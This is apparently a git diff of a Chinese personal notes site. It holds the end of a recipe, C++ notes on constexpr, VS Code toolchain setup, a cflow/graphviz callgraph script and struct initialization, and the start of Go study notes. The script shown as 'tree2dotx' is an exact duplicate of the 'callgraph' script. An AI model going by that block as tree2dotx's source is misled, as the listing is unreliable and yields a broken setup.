待买材料数量当前价格
半只, 约 500g32 元/kg 小公鸡(吉麦盛)
土豆两颗中大果6 元/kg(食行生鲜)
粉丝1 把
干豆角
香葱2 根16 元/kg(食行生鲜)
小米辣2 个40 元/kg(食行生鲜)
大青椒1 个12 元/kg(食行生鲜)
大红椒1 个16 元/kg(食行生鲜)
大葱葱白一截6 元/kg(食行生鲜)
半头16 元/kg(食行生鲜)
1 小块27 元/kg(食行生鲜)
香菜
  • 基础配料: 中筋面粉 150g, 土豆两颗, 粉丝, 鸡蛋 1 枚
  • 调味料: 生抽一勺, 红油(1 大勺),, 白糖, 耗油, 盐少许, 料酒, 胡椒粉
  • 辅料: 桂皮 1 片, 八角 2 个, 香叶 2 片, 白芷 1 片, 花椒一把, 香菜

整体流程

先用茶吧机烧一壶 50° 温水

中筋面粉打个鸡蛋加一小撮盐, 慢慢加入面粉量 1/3 体积的温水, 揉成一个面团, 包上保鲜膜醒 10 分钟

放盐可以让面饼更有嚼劲, 放温水面团更加柔软, 后期方便操作

面和到没疙瘩就行了, 不要和的太硬

由于和面过程中会有粘在碗上的以及撒出去的, 所以实际上用一半的水很容易和得太稀了, 然后就会本能地水多加面面多加水, 最终面团越来越大, 这会导致后面贴饼后面饼吸收了太多汤汁导致直接糊锅, 寄

再烧一壶开水

面团不需要太光滑, 没疙瘩就行

葱白切段, 姜切片, 蒜头去皮, 桂皮 1 块, 香叶 2 片, 八角 2 枚, 白芷一片

土豆切块

鸡肉剪成小块, 用温水反复清洗几遍, 控干水分备用

热锅凉油, 油热下鸡块, 大火翻炒至微黄

油可以比平时做菜多些, 但也别太多, 不然后面就纯纯喝油了

鸡肉别过水, 用温水反复清洗几遍即可, 但是冷冻鸡块的话最好还是先焯水(相应的口感会变差)

鸡肉炒至微黄能有效达到去腥增香的效果

下一把花椒继续翻炒炒香

花椒炒香后下入葱段, 姜片, 八角, 桂皮, 香叶,白芷, 干辣椒, 蒜头翻炒出香味

每次下香料都要不停翻炒, 让香料与鸡肉充分混合, 炒至鸡肉完全吸收料汁

小料炒香后从锅边淋入料酒去腥增香

加入少许郫县豆瓣酱炒香炒出红油

来半勺白糖提鲜提色, 不停翻炒

淋一勺生抽, 少许耗油提鲜

加开水没过所有食材, 转大火烧制 10 分钟

下土豆块, 干豆角, 半勺味极鲜提味, 胡椒粉去腥增香

盖上锅盖, 中小火炖 20 分钟

10 分钟到, 取出醒好的面团, 切十字再 2 等分总计 8 块, 每一块搓圆球, 放入一大碗温水中, 浸泡 10 分钟备用

浸泡的温水直接水龙头接应该就行了, 温水可以减少泡制时间

面团如果太大的话建议别全用完, 以免后面下锅后吸水太多粘锅底从而糊锅

鸡肉炖了三十分钟后, 汤汁应该收的差不多了, 加盐调味尝尝, 调到差不多的咸度

加开水没过所有食材

面团取出上下搓饼贴到锅边, 一半汤里, 一半汤外, 加盖中小火炖 15 分钟

青红椒切段, 蒜苗, 香菜切碎

青红椒一半一半就够了, 一整个青椒红椒切出来太多了, 小葱/蒜苗/香菜亦同理

15 分钟时间到下青红椒, 关火, 撒上蒜苗碎,香菜

粉丝看品类, 有的很不禁煮, 粘在锅里的话很难处理, 可以在关火后吃的时候再下

一般要么是整锅吃, 续火

由于家里有个吃火锅用的煮锅, 所以可以直接倒里面加热吃

+ + + diff --git a/Language/CPlusPlus/CPP.html b/Language/CPlusPlus/CPP.html new file mode 100644 index 0000000000..3848724b20 --- /dev/null +++ b/Language/CPlusPlus/CPP.html @@ -0,0 +1,556 @@ + + + + + + + + C++ | DailyNotes + + + + + + +
跳至主要內容

C++

大约 18 分钟

C++


VisualStudio2019 相关


为什么VS中会建议宏转换为constexpr?

image-20210628184054251

宏是由预处理器而非编译器解析的,比如不能用命名空间,所以使用后必须解除

以及宏很容易带来各式各样的错误,最简单如括号上的错误,还有宏会导致debug困难等等

引自:为什么VS中会建议宏转换为constexpr? - 知乎 (zhihu.com)open in new window


constexpr

节选自:constexpr 的来龙去脉-云科普blog (winkp.com)open in new window

  • 关键字 constexpr (constant expression) 是在 C++11 中引入的,并且在 C++14 中进行了优化。

  • constexprconst 一样可以用来修饰变量:试图修改 constexpr 变量时,编译器将会报错。

  • 不同于 constconstexpr 还可以修饰函数和类的构造函数。 constexpr 表示值或者返回值是常量,并且如果可能,在编译时计算它们。

  • 一个 constexpr 整型值能够用在任何 const 整型值可以用的地方,例如模板参数和数组的申明。

  • 当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。

    为了限制编译时常量计算的复杂性,以及其对编译时间潜在的影响, C++14 标准需要 constexpr 类型必须为字面值类型。

1、字面值常量:一个形如42的值被称作字面值常量,这样的值一望而知。每个字面值常量都对应一种数据类型,字面值常量的形式和值决定了它的数据类型,包含:

整型和浮点型字面值 字符和字符串字面值 布尔字面值和指针字面值: bool test = false; nullptr是指针字面值;

———————————————— 版权声明:本文为CSDN博主「十一月zz」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/baidu_35679960/article/details/78934193


应该使用 constexpr 的场景
  • 只要允许,尽可能使用 constexpr,当值在编译时计算而不是运行时计算时,它能够使程序运行得更快,并使用更少的内存。

不应该使用 constexpr 的场景
  • constexpr 是对象或者函数接口的一部分,所以如果你使用了 constexpr 但反悔了,移除 constexpr 可能会导致大量的调用代码编译失败。(比如添加 I/O 操作用于调试或者性能调优可能导致这样的问题,因为 I/O 语句通常不是在 constexpr 函数中执行的。)

auto

  • 从初始化表达中推导出已声明变量的类型。
  • Visual Studio 2010 开始,**auto**关键字宣布一个变量,其类型是从声明的初始化表达中推断出的

C4996

  • 使用的函数是过时了已被弃用的函数

strcpy_s

strcpy_s(str, strlen(str1)+1, str1);


#pragma once

pragma: 编译指示, 杂注

  • 使用 #pragma once 可以减少 build 次数, 因为编译器会在该文件第一次被 #include 时打开并读取该文件并且之后不再重读读取

VSCode


在 VSCode 中调试 C++ 程序

使用 VS 的 cl.exe

VS Code:使用VS的cl.exe编译运行C/C++程序_北冥有鱼wyh的博客-CSDN博客open in new window

VS:在windows上调用cl.exe编译运行C/C++程序 - 简书 (jianshu.com)open in new window


从 VS 的 工具 -> 获取工具和功能 唤醒 Visual Studio Installer

image-20210701211753367

查看自己的 VS 的安装目录

image-20210701211946680

我这里的路径是: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community 下面配置环境变量要用到

打开 此电脑 -> 属性 -> 高级系统设置 -> 环境变量 并按照如下所示修改 系统变量

// 编辑 Path 变量, 添加如下路径, 注意这里的 VS 目录就是上一步找到的目录
+C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30037\bin\Hostx86\x86
+
+// 新建 INCLUDE 变量并加入如下配置(每条配置间用;隔开)(其实输完第一条配置且加了;并回车确定后再编辑该环境变量就会有编辑弹窗可以一条条新建了); 需要留意的是如果你的 VS 是装在 C:\Program Files 里的那么这里的 Windows Kits 文件夹可能就在 C:\Program Files 目录中
+C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30037\include
+C:\Program Files (x86)\Windows Kits\10\Include\10.0.17763.0\shared
+C:\Program Files (x86)\Windows Kits\10\Include\10.0.17763.0\ucrt
+C:\Program Files (x86)\Windows Kits\10\Include\10.0.17763.0\um
+C:\Program Files (x86)\Windows Kits\10\Include\10.0.17763.0\winrt
+
+// 新建 LIB 变量并加入如下配置
+C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30037\lib\x86
+C:\Program Files (x86)\Windows Kits\10\Lib\10.0.17763.0\um\x86
+C:\Program Files (x86)\Windows Kits\10\Lib\10.0.17763.0\ucrt\x86
+

修改完这些变量后依次按确定关闭打开的窗口以保存修改

win + R -> cmd 并回车打开命令行窗口, 输入 cl 并回车, 如下所示查看是否配置成功

image-20210701213410915

重启 VSCode 以加载新的环境变量

新建一个目录并使用 VSCode 打开(因为会在 VSCode 当前打开文件夹的根目录下自动生成配置文件, 所以这里先新建一个干净的目录再用 VSCode 打开以免污染外围环境)

新建一个测试用的 cpp 文件如 test.cpp 并将编码调为 GBK (这个我没找到适配 UTF-8 的适配方案, 是一个从我用 VS 来就存在的严重问题.....)

#include <iostream>
+using namespace std;
+
+int main(){
+    cout << "这是一个测试" << endl;
+    return 0;
+}
+

image-20210701214403048

使用 Ctrl + Shift + B 快捷键会唤起该窗口, 选择该项则会在侧边生成编译链接文件

image-20210701214625695

image-20210701214703681

使用 F5 快捷键唤起该窗口并选择 C++ Windows -> cl.exe 会在当前 VSCode 打开的文件夹的根目录下生成一个含有 launch.json 文件 的 .vscode 文件夹

image-20210701214754797

image-20210701214828640

image-20210701215021311

json 文件内容如下:

{
+    // 使用 IntelliSense 了解相关属性。 
+    // 悬停以查看现有属性的描述。
+    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
+    "version": "0.2.0",
+    "configurations": [
+        {
+            "name": "cl.exe - 生成和调试活动文件",
+            "type": "cppvsdbg",
+            "request": "launch",
+            "program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
+            "args": [],
+            "stopAtEntry": false,
+            "cwd": "${fileDirname}",
+            "environment": [],
+            "console": "externalTerminal",
+            "preLaunchTask": "C/C++: cl.exe 生成活动文件"
+        }
+    ]
+}
+

将标签页切换回 test.cpp 并再次按 F5 以执行生成的可执行文件

image-20210701215244986

image-20210701215303198


使用 gcc

配置VSCode中调试C/C++环境 | LeoJhon.Song's Blog (leojhonsong.github.io)open in new window
Get Started with C++ and Mingw-w64 in Visual Studio Codeopen in new window
C++ programming with Visual Studio Codeopen in new window

PS: 一般按照上面第三个链接可以较为快捷地完成配置并运行 C++ 程序, 但是有时候配置项可能会出些问题, 所以下面简单描述下

  • 检查 gcc, gdb

    gcc --version
    +gdb --version
    +

    如果没有返回版本信息则说明未安装或配置其环境变量, 参阅 C++ programming with Visual Studio Code --- 使用 Visual Studio Code 进行 C++ 编程open in new window C++ programming with Visual Studio Code-example-install-mingwx64open in new window 完成其安装及环境变量的配置

    简单来说就是下载 [msys](https://objects.githubusercontent.com/github-production-release-asset-2e65be/80988227/4fdf0417-d097-4519-854b-133188c60e38?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230613%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230613T095929Z&X-Amz-Expires=300&X-Amz-Signature=e434be09c0fc8a6700ce1027ae10bea8e2078b50c4f75167a9ed1f0895b82fcc&X-Amz-SignedHeaders=host&actor_id=59549826&key_id=0&repo_id=80988227&response-content-disposition=attachment%3B filename%3Dmsys2-x86_64-20220603.exe&response-content-type=application%2Foctet-stream), 在弹出的窗口中使用 pacman -S --needed base-devel mingw-w64-x86_64-toolchain 安装工具链

    MSYS (Minimal SYStem) 是一个轻量级的类 Unix 环境,是为 Windows 平台提供的一个集成开发环境。它是一种方便 Windows 用户模拟 Linux 环境和使用一些 Linux 工具的解决方案。

    MSYS 最初是为了支持 MinGW (Minimalist GNU for Windows) 而创建的。MinGW 是一个用于生成 Windows 应用程序的 GCC 编译器的轻量级分发版,它不依赖于任何 Unix 系统,而 MSYS 提供了一些帮助 MinGW 工作的 Unix 工具,如 bash shell,以及许多常见 Unix 工具如 grep,sed,awk 等。

    总的来说,MSYS 是一个简化的 POSIX/SUS 兼容的 Bourne shell 命令行解释器环境。使用它,开发者可以在 Windows 上运行自动化构建脚本,例如 Bash 脚本和 Makefile 等,从而使在 Windows 上编译 Unix 和 Linux 软件变得更加容易。

    image-20230613182822283

    msys64\mingw64\bin 加到 Path 环境变量中重启 VSCode 加载环境变量即可

  • 安装 C++ 扩展

    Search for c++ in the Extensions view

  • 使用 VSCode 打开一个文件夹作为 C++ 工作区, 新建并编辑一个 cpp 文件, 程序编写完成后使用 Ctrl + Shift + B 快捷键调出 build task 窗口

配置备份:

  • tasks.json
    {
    +  // See https://go.microsoft.com/fwlink/?LinkId=733558
    +  // for the documentation about the tasks.json format
    +  "version": "2.0.0",
    +  "tasks": [
    +      {
    +          "label": "Compile",
    +          "type": "shell",
    +          "command": "gcc",
    +          "args": [
    +              "${file}",
    +              "-o",
    +              "${fileDirname}/${fileBasenameNoExtension}.exe",
    +              "-g",
    +              "-Wall",
    +              "-std=c++17",
    +              "-lstdc++"
    +          ],
    +          "group": {
    +              "kind": "build",
    +              "isDefault": true
    +          }
    +      }
    +  ]
    +}
    +
  • launch.json
    {
    +    // Use IntelliSense to learn about possible attributes.
    +    // Hover to view descriptions of existing attributes.
    +    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    +    "version": "0.2.0",
    +    "configurations": [
    +        {
    +            "name": "(gdb) Launch",
    +            "type": "cppdbg",
    +            "request": "launch",
    +            "program": "${workspaceFolder}/${fileBasenameNoExtension}.exe",
    +            "args": [],
    +            "stopAtEntry": false,
    +            "cwd": "${workspaceFolder}",
    +            "environment": [],
    +            "externalConsole": false,
    +            "MIMode": "gdb",
    +            "miDebuggerPath": "gdb.exe",
    +            "miDebuggerArgs": "-q",
    +            "setupCommands": [
    +                {
    +                    "description": "Enable pretty-printing for gdb",
    +                    "text": "-enable-pretty-printing",
    +                    "ignoreFailures": true
    +                }
    +            ],
    +            "preLaunchTask": "Compile"
    +        }
    +    ]
    +}
    +

gcc std 报错: c++ - undefined reference to 'std::cout' - Stack Overflowopen in new window


实用工具


快捷生成函数调用关系图


callgraph


Ubuntu
  • 目前在网上只找到了 Ubuntu 的使用方案

  • 流程

    • 安装 cflowgraphviz

      sudo apt-get install cflow graphviz

    • 然后在合适的位置创建两个文件 tree2dotxopen in new windowcallgraph

      文件中的内容分别如下:

      tree2dotx:

      #!/bin/bash
      +#
      +# callgraph -- Generate a callgraph of a specified function in specified file/directory
      +#
      +# -- Based on cflow and tree2dotx
      +#
      +# Usage:
      +#
      +#       $ callgraph
      +#
      +#               -f func_name
      +#               -d directory|file
      +#               -F filterstr
      +#               -D depth
      +#               -o directory
      +#
      +#
      +# Output: ../callgraph/func.dir_file_name.svg
      +#
      +
      +# OS
      +OS=$(uname)
      +
      +# Tree2Dot
      +TOP_DIR=$(cd $(dirname $0) && pwd)/
      +tree2dotx=${TOP_DIR}/tree2dotx
      +
      +# Output directory
      +OUT_DIR=${TOP_DIR}/../callgraph
      +[ ! -d $OUT_DIR ] && OUT_DIR=./
      +PIC_TYPE=svg
      +
      +# Get browser
      +if [ "x$OS" == "xDarwin" ]; then
      +    BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
      +else
      +    BROWSER=chromium-browser
      +fi
      +
      +# Default setting
      +
      +# Input: Function Name [Directory Name]
      +func=main
      +dir=./
      +
      +# Default depth of the tree
      +depth=
      +
      +# filterstr for tree2dotx
      +filterstr=""
      +
      +# Usage
      +
      +function usage
      +{
      +        echo ""
      +        echo "  $0 "
      +        echo ""
      +        echo "   -f func_name"
      +        echo "   -d directory|file"
      +        echo "   -F filterstr"
      +        echo "   -D depth"
      +        echo "   -o directory"
      +        echo ""
      +}
      +
      +while getopts "F:f:d:D:o:b:h" opt;
      +do
      +        case $opt in
      +                F)
      +                        filterstr=$OPTARG
      +                ;;
      +                f)
      +                        func=$OPTARG
      +                ;;
      +                d)
      +                        [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
      +                ;;
      +                D)
      +                        depth=$OPTARG
      +                ;;
      +                o)
      +                        output=$OPTARG
      +                        [ ! -d "$output" ] && mkdir -p $output
      +                        OUT_DIR=$output
      +                ;;
      +                b)
      +                        BROWSER=$OPTARG
      +                ;;
      +                h|?)
      +                        usage $0;
      +                        exit 1;
      +                ;;
      +        esac
      +done
      +
      +# Check the function and find out its file
      +if [ -d "$dir" ]; then
      +	match=`grep " [a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\.[ch]:"`
      +	file=`echo "$match" | cut -d ':' -f1`
      +else
      +	match="$dir"`grep " [a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*(.*)" -iur $dir`
      +	file="$dir"
      +fi
      +[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
      +echo "Func: $func"
      +[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
      +
      +# Let users choose the target files
      +fileno=`echo $file | tr -c -d ' ' | wc -c`
      +((fileno+=1))
      +if [ $fileno -ne 0 ]; then
      +	echo "Match: $fileno"
      +	echo "File:"
      +	echo "     0  All files under $dir"
      +	echo "$match" | cat -n
      +	files=($file)
      +	read -p "Select: 0 ~ $fileno ? " file_in
      +	if [ $file_in -ne 0 ]; then
      +          while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
      +		read -p "Select: 1 ~ $fileno ? " file_in
      +	  done
      +	  ((file_in-=1))
      +	  file=${files[$file_in]}
      +	  ((file_in+=1))
      +        fi
      +else
      +	file_in=1
      +fi
      +
      +if [ $file_in -ne 0 ]; then
      +  [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
      +  echo "File: $file"
      +  func=`echo "$match" | sed -n -e "${file_in},${file_in}p" | sed -n -e "s/.* \([a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*\)(.*).*/\1/p"`
      +  [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
      +else
      +  file="`find -L $dir -name '*.c' -or -name '*.h' | tr '\n' ' '`"
      +fi
      +
      +# Genrate the calling tree of this function
      +# Convert it to .dot format with tree2dotx
      +# Convert it to jpg format with dot of Graphviz
      +if [ $file_in -ne 0 ]; then
      +  tmp=`echo $file | tr '/' '_' | tr '.' '_'`
      +else
      +  tmp="all"
      +fi
      +pic=${func}.${tmp}.${PIC_TYPE}
      +long_pic=${OUT_DIR}/${pic}
      +
      +which cflow >/dev/null 2>&1
      +if [ $? -ne 0 ]; then
      +        echo "Error: cflow doesn't exist, please install it..."
      +        exit 1
      +else
      +        [ -n "$depth" ] && depth=" -d $depth "
      +        calltree="cflow -b $depth -m "
      +fi
      +
      +which dot >/dev/null 2>&1
      +[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
      +
      +echo "Command: ${calltree}${func} ${file} | ${tree2dotx} "${filterstr}" 2>/dev/null | dot -T${PIC_TYPE} -o $long_pic"
      +${calltree}${func} ${file} | ${tree2dotx} -f "${filterstr}" 2>/dev/null | dot -T${PIC_TYPE} -o $long_pic
      +
      +# Tell users
      +echo "Target: ${file}: ${func} -> ${long_pic}"
      +
      +# Display it
      +which $BROWSER >/dev/null 2>&1
      +[ $? -ne 0 ] && exit 0
      +$BROWSER ${long_pic} >/dev/null 2>&1 &
      +

      callgraph:

      #!/bin/bash
      +#
      +# callgraph -- Generate a callgraph of a specified function in specified file/directory
      +#
      +# -- Based on cflow and tree2dotx
      +#
      +# Usage:
      +#
      +#       $ callgraph
      +#
      +#               -f func_name
      +#               -d directory|file
      +#               -F filterstr
      +#               -D depth
      +#               -o directory
      +#
      +#
      +# Output: ../callgraph/func.dir_file_name.svg
      +#
      +
      +# OS
      +OS=$(uname)
      +
      +# Tree2Dot
      +TOP_DIR=$(cd $(dirname $0) && pwd)/
      +tree2dotx=${TOP_DIR}/tree2dotx
      +
      +# Output directory
      +OUT_DIR=${TOP_DIR}/../callgraph
      +[ ! -d $OUT_DIR ] && OUT_DIR=./
      +PIC_TYPE=svg
      +
      +# Get browser
      +if [ "x$OS" == "xDarwin" ]; then
      +    BROWSER=/Applications/Safari.app/Contents/MacOS/Safari
      +else
      +    BROWSER=chromium-browser
      +fi
      +
      +# Default setting
      +
      +# Input: Function Name [Directory Name]
      +func=main
      +dir=./
      +
      +# Default depth of the tree
      +depth=
      +
      +# filterstr for tree2dotx
      +filterstr=""
      +
      +# Usage
      +
      +function usage
      +{
      +        echo ""
      +        echo "  $0 "
      +        echo ""
      +        echo "   -f func_name"
      +        echo "   -d directory|file"
      +        echo "   -F filterstr"
      +        echo "   -D depth"
      +        echo "   -o directory"
      +        echo ""
      +}
      +
      +while getopts "F:f:d:D:o:b:h" opt;
      +do
      +        case $opt in
      +                F)
      +                        filterstr=$OPTARG
      +                ;;
      +                f)
      +                        func=$OPTARG
      +                ;;
      +                d)
      +                        [ -n "$OPTARG" ] && [ -f "$OPTARG" -o -d "$OPTARG" ] && dir=$OPTARG
      +                ;;
      +                D)
      +                        depth=$OPTARG
      +                ;;
      +                o)
      +                        output=$OPTARG
      +                        [ ! -d "$output" ] && mkdir -p $output
      +                        OUT_DIR=$output
      +                ;;
      +                b)
      +                        BROWSER=$OPTARG
      +                ;;
      +                h|?)
      +                        usage $0;
      +                        exit 1;
      +                ;;
      +        esac
      +done
      +
      +# Check the function and find out its file
      +if [ -d "$dir" ]; then
      +	match=`grep " [a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*(.*)" -iur $dir | grep "\.[ch]:"`
      +	file=`echo "$match" | cut -d ':' -f1`
      +else
      +	match="$dir"`grep " [a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*(.*)" -iur $dir`
      +	file="$dir"
      +fi
      +[ $? -ne 0 ] && echo "Note: No such function found: $func" && exit 1
      +echo "Func: $func"
      +[ -z "$file" ] && echo "Note: No file found for $func" && exit 1
      +
      +# Let users choose the target files
      +fileno=`echo $file | tr -c -d ' ' | wc -c`
      +((fileno+=1))
      +if [ $fileno -ne 0 ]; then
      +	echo "Match: $fileno"
      +	echo "File:"
      +	echo "     0  All files under $dir"
      +	echo "$match" | cat -n
      +	files=($file)
      +	read -p "Select: 0 ~ $fileno ? " file_in
      +	if [ $file_in -ne 0 ]; then
      +          while [ $file_in -lt 1 -o $file_in -gt $fileno ]; do
      +		read -p "Select: 1 ~ $fileno ? " file_in
      +	  done
      +	  ((file_in-=1))
      +	  file=${files[$file_in]}
      +	  ((file_in+=1))
      +        fi
      +else
      +	file_in=1
      +fi
      +
      +if [ $file_in -ne 0 ]; then
      +  [ -z "$file" ] && echo "Note: No file found for $func" && exit 1
      +  echo "File: $file"
      +  func=`echo "$match" | sed -n -e "${file_in},${file_in}p" | sed -n -e "s/.* \([a-zA-Z0-9_]*${func}[a-zA-Z0-9_]*\)(.*).*/\1/p"`
      +  [ -z "$func" ] && echo "Note: No such function found: $func" && exit 1
      +else
      +  file="`find -L $dir -name '*.c' -or -name '*.h' | tr '\n' ' '`"
      +fi
      +
      +# Genrate the calling tree of this function
      +# Convert it to .dot format with tree2dotx
      +# Convert it to jpg format with dot of Graphviz
      +if [ $file_in -ne 0 ]; then
      +  tmp=`echo $file | tr '/' '_' | tr '.' '_'`
      +else
      +  tmp="all"
      +fi
      +pic=${func}.${tmp}.${PIC_TYPE}
      +long_pic=${OUT_DIR}/${pic}
      +
      +which cflow >/dev/null 2>&1
      +if [ $? -ne 0 ]; then
      +        echo "Error: cflow doesn't exist, please install it..."
      +        exit 1
      +else
      +        [ -n "$depth" ] && depth=" -d $depth "
      +        calltree="cflow -b $depth -m "
      +fi
      +
      +which dot >/dev/null 2>&1
      +[ $? -ne 0 ] && "Error: dot doesn't exist, please install graphviz..."
      +
      +echo "Command: ${calltree}${func} ${file} | ${tree2dotx} "${filterstr}" 2>/dev/null | dot -T${PIC_TYPE} -o $long_pic"
      +${calltree}${func} ${file} | ${tree2dotx} -f "${filterstr}" 2>/dev/null | dot -T${PIC_TYPE} -o $long_pic
      +
      +# Tell users
      +echo "Target: ${file}: ${func} -> ${long_pic}"
      +
      +# Display it
      +which $BROWSER >/dev/null 2>&1
      +[ $? -ne 0 ] && exit 0
      +$BROWSER ${long_pic} >/dev/null 2>&1 &
      +
      • 给所有用户这两个文件的可执行权限

        chmod u+x tree2dotx

        chmod u+x callgraph

      • 安装 gawk

        sudo apt-get install gawk

      • 将需要分析的 cpp 文件放到上面那两个文件所在的目录下(以 main.cpp 含 main() 函数为例)

        分析 main.cpp 文件中的 main 函数:

        ./callgraph -f main -d ./main.cpp

        image-20210629200950829


tceetree + cscope + Graphviz

cscope 的 win 版本需要访问 Google Code


VisualStudio Code Graph 扩展

直接在 VS 扩展管理中搜索安装即可

image-20210630163504231

貌似不错的样子, 但是结点要自行拉取, 所以我也只是浅尝辄止

image-20210630163553198

官方教程: Code Graph - Visual Studio Marketplaceopen in new window


CppDepend

安装过程需要从国际互联网拉取更新

image-20210630164031212

image-20210630164107941

image-20210630164122764

  • 个人使用体验确实不错, 只可惜 FreeTrial 只有 14 天试用, 个人付费又不是很合算, 中文互联网上相关信息又比较少, 不过这基本上算是给了我一个思路->代码分析工具, 那么就可以找寻相应国产或者中文互联网主流的代码分析工具试着看看有没有类似的功能可以为我所用

检索能力有限, 最终还是决定先用着 CppDepend, 它确实很对我胃口🤣


数据结构


结构体


初始化

c++结构体几种初始化方法_skywf的博客-CSDN博客_c++ 结构体初始化open in new window


构造函数使用 : 快捷赋值

结构体名(形参): 成员变量1(形参1),成员变量2(形参2){};

#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a=0, char b='b'): a(a), b(b){}
+};
+
+int main(){
+    test_struct tmp1;
+    test_struct tmp2(3,'a');
+    cout<<tmp1.a<<" "<<tmp1.b<<endl;
+    cout<<tmp2.a<<" "<<tmp2.b<<endl;
+    return 0;
+}
+

image-20210701221440259


实例化时使用 {} 赋值初始化
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+};
+
+int main(){
+    test_struct tmp3 = {4, 'd'};
+    cout<<tmp3.a<<" "<<tmp3.b<<endl;
+    return 0;
+}
+

image-20210701221836704


老老实实写构造函数初始化
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a, char b){
+        this->a = a;
+        this->b = b;
+    }
+};
+
+int main(){
+    test_struct tmp4(5,'a');
+    test_struct tmp5 = {6, 'e'};
+    cout<<tmp4.a<<" "<<tmp4.b<<endl;
+    cout<<tmp5.a<<" "<<tmp5.b<<endl;
+    return 0;
+}
+

image-20210701222356252


支持将定义结构体和实例化结构体写在一起
#include <iostream>
+using namespace std;
+
+struct test_struct{
+    int a;
+    char b;
+    test_struct(int a, char b){
+        this->a = a;
+        this->b = b;
+    }
+}tmp6 = {7, 'k'};
+
+int main(){
+    cout<<tmp6.a<<" "<<tmp6.b<<endl;
+    return 0;
+}
+

image-20210701224738657


字符串


std::strcmp

  • 定义于头文件 <cstring>

  • int strcmp( const char *lhs, const char *rhs );

  • 以字典序比较二个空终止字节字符串。

    结果的符号是被比较的字符串中首对不同字符(都转译成 unsigned char )的值间的差值符号。

    lhsrhs 不是指向空终止字节字符串的指针,则行为未定义。

  • 参数

    lhs, rhs-指向待比较的空终止字节字符串的指针

    返回值

    若字典序中 lhs 先出现于 rhs 则为负值。

    lhsrhs 比较相等则为零。

    若字典序中 lhs 后出现于 rhs 则为正值。


关于字符串与数字互相转换

  • 若当前字符串内容确实为整数, 那么可以通过 当前字符 - '0' 返回一个整数

    #include <iostream>
    +using namespace std;
    +
    +int main(){
    +    cout<<'9'-'0'<<endl;
    +    return 0;
    +}
    +

    image-20210704192227096


规范性


头文件源文件

  • 函数和变量可以在头文件中声明然后在源文件中定义, 但是常量最好直接在头文件中声明并定义, 分离开的话容易报错
    • 在头文件中使用外部定义变量时, 在相应源文件中务必在函数外先进行一次初始化, 如果依赖函数进行初始化的话那也要先初始化为空, 否则会引起连接器错误;

      个人理解类似空的构造函数, 如果要先实例化对象后调用初始化函数进行初始化的话, 那么在实例化变量时会调用默认的(或者自定义的)空构造函数先进行一次"空初始化"

      类似的在头文件外部定义的变量在源文件里要初始化, 如果要用函数初始化的话那么需要先进行一次"空初始化"

    • static 变量在头文件使用外部定义的时候 extern 与 static 冲突, 去掉 static 即可, 毕竟都头文件外部定义了, 该变量仅此一份不与对象绑定, 已经是个静态变量了


注释相关


  • 行尾使用 // 进行注释, 或者在当前行的上面一行使用 // 注释, 或者在当前行的上面一行或多行使用 /* */进行块注释

  • 需要注意的是光标移到变量上会显示的注释是变量定义时的注释

    也就是说如果在头文件中声明在源文件中定义的话, 那么光标移到变量上看到的注释是源文件中定义变量时给出的注释


函数

引用

C++ Primer Plus Chapter8.2

C++ 新增了一种复合类型 -- 引用变量; 引用是已定义的变量的别名;

C++ 为 & 符号赋予了除指示变量地址的另一个含义 -> 用于声明引用

// 例:
+int rats;
+int & rodents = rats;  // makes rodents an alias for rats
+
  • 在声明引用的同时也必须将其初始化
  • 引用一经与某个变量关联起来就将一致效忠于此变量
+ + + diff --git a/Language/CPlusPlus/index.html b/Language/CPlusPlus/index.html new file mode 100644 index 0000000000..58cf283c99 --- /dev/null +++ b/Language/CPlusPlus/index.html @@ -0,0 +1,40 @@ + + + + + + + + C Plus Plus | DailyNotes + + + + + + +
跳至主要內容

C Plus Plus

小于 1 分钟

目录

C++

+ + + diff --git "a/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html" "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html" new file mode 100644 index 0000000000..72aa2ad014 --- /dev/null +++ "b/Language/Go/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html" @@ -0,0 +1,467 @@ + + + + + + + + Go 语言圣经学习随笔 | DailyNotes + + + + + + +
跳至主要內容

Go 语言圣经学习随笔

大约 34 分钟

Go 语言圣经学习随笔

CH1 入门

入门 - Go 语言圣经 (gopl-zh.github.io)open in new window


Go 语言有时候被描述为“类 C 语言”,或者是“21 世纪的 C 语言”。Go 从 C 语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想,还有 C 语言一直所看中的编译后机器码的运行效率以及和现有操作系统的无缝适配。

